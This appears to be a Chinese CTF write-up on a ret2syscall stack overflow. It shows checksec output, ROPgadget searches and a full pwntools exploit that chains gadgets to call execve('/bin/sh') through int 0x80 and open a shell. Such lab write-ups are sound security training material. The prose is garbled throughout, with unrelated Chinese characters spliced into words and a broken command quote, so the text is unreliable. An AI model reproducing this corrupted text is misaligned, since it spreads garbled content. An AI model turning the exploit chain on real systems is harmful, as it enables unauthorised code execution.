原理
ret2syscall,即控制程序執(zhí)行系統(tǒng)調(diào)用婉徘,獲取 shell
0x1
拿道題后檢測(cè)程序開啟的保護(hù)
checksec ./ret2syscall
?? ret2syscall checksec ret2syscall
Arch:? ? i386-32-little
RELRO:? ? Partial RELRO
Stack:? ? No canary found
NX:? ? ? NX enabled
PIE:? ? ? No PIE (0x8048000)
可以看出颤专,程序?yàn)?32 位背率,開啟了 NX 保護(hù)。接下來(lái)利用 IDA 來(lái)查看源碼
0x2
看到偽代碼寫了沒有system和shellcode嫩与,可以看出此次仍然是一個(gè)棧溢出寝姿。類似于之前的做法划滋,我們可以獲得 v4 相對(duì)于 ebp 的偏移為 108。所以我們需要覆蓋的返回地址相對(duì)于 v4 的偏移為 112处坪。此次根资,由于我們不能直接利用程序中的某一段代碼或者自己填寫代碼來(lái)獲得 shell,所以我們利用程序中的 gadgets 來(lái)獲得shell同窘,而對(duì)應(yīng)的 shell 獲取則是利用系統(tǒng)調(diào)用玄帕。關(guān)于系統(tǒng)調(diào)用的知識(shí)請(qǐng)看這個(gè)鏈接,簡(jiǎn)單地說(shuō)裤纹,只要我們把對(duì)應(yīng)獲取 shell 的系統(tǒng)調(diào)用的參數(shù)放到對(duì)應(yīng)的寄存器中案狠,那么我們?cè)趫?zhí)行 int 0x80 就可執(zhí)行對(duì)應(yīng)的系統(tǒng)調(diào)用服傍。比如說(shuō)這里我們利用如下系統(tǒng)調(diào)用來(lái)獲取 shell骂铁。但是開啟了NX所以我們要調(diào)用系統(tǒng)指令組成ROP,這里我們可以用
execve("/bin/sh",0,0)
首先我們得知道如何調(diào)用寄存器可以構(gòu)造出sys_execve,其次知道如何才能讓其執(zhí)行拉庵。
如何使用構(gòu)建
1.系統(tǒng)調(diào)用號(hào),即 eax 應(yīng)該為 0xb(sys_execve)
2.第一個(gè)參數(shù)茫蛹,即 ebx 應(yīng)該指向 /bin/sh 的地址,其實(shí)執(zhí)行 sh 的地址也可以
3.第二個(gè)參數(shù)婴洼,即 ecx 應(yīng)該為 0
4.第三個(gè)參數(shù)撼嗓,即 edx 應(yīng)該為 0
利用ROPgadget的工具查找eax ebx ecx edx的地址柬采,查找/bin/sh和int 0x80的地址
ROPgadget --binary rop? --only 'pop|ret' | grep 'eax
ROPgadget --binary rop? --only 'pop|ret' | grep 'ebx'
ROPgadget --binary ret2syscall --string "/bin/sh"
ROPgadget --binary ret2syscall --only 'int'
0x3
1.eax
2.然后我們?cè)趯ふ襡bx
0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret
3.尋找/bin/sh
0x080be408 : /bin/sh
4.尋找int
0x08049421 : int 0x80
0x4 exp如下
from pwn import*
p = process("./ret2syscall")
#r = remote('ip',port)
binsh_addr = 0x080be408
int_addr = 0x08049421
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
#execve("/bin/sh",NULL,NULL)
payload = 'a'*112
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) +p32(0) + p32(0) +p32(binsh_addr)
payload += p32(int_addr)
p.sendline(payload)
p.interactive()
擴(kuò)展和心得體會(huì)
上述分析這種情況其實(shí)是最簡(jiǎn)單得syscall粉捻,還有一些情況復(fù)雜的比如:直接搜不出“/bin/sh”字符串的。但是其實(shí)如果真的掌握精髓的話肩刃,其實(shí)是可以拼接出“/bin/sh”字符串的,有的題目中沸呐,有“/”,有“bin”垂谢,有“sh”疮茄,但是我拼接過程中不知道該如何截?cái)嘁粋€(gè)字符串。既然是系統(tǒng)調(diào)用根暑,那么我們不如調(diào)用一個(gè)read函數(shù),來(lái)自己輸入“/bin/sh”吧排嫌。如果感興趣可以看下面我推薦的那位師傅的wp
推薦師傅wp:
此篇文章如果存在問題,還望大佬批評(píng)指正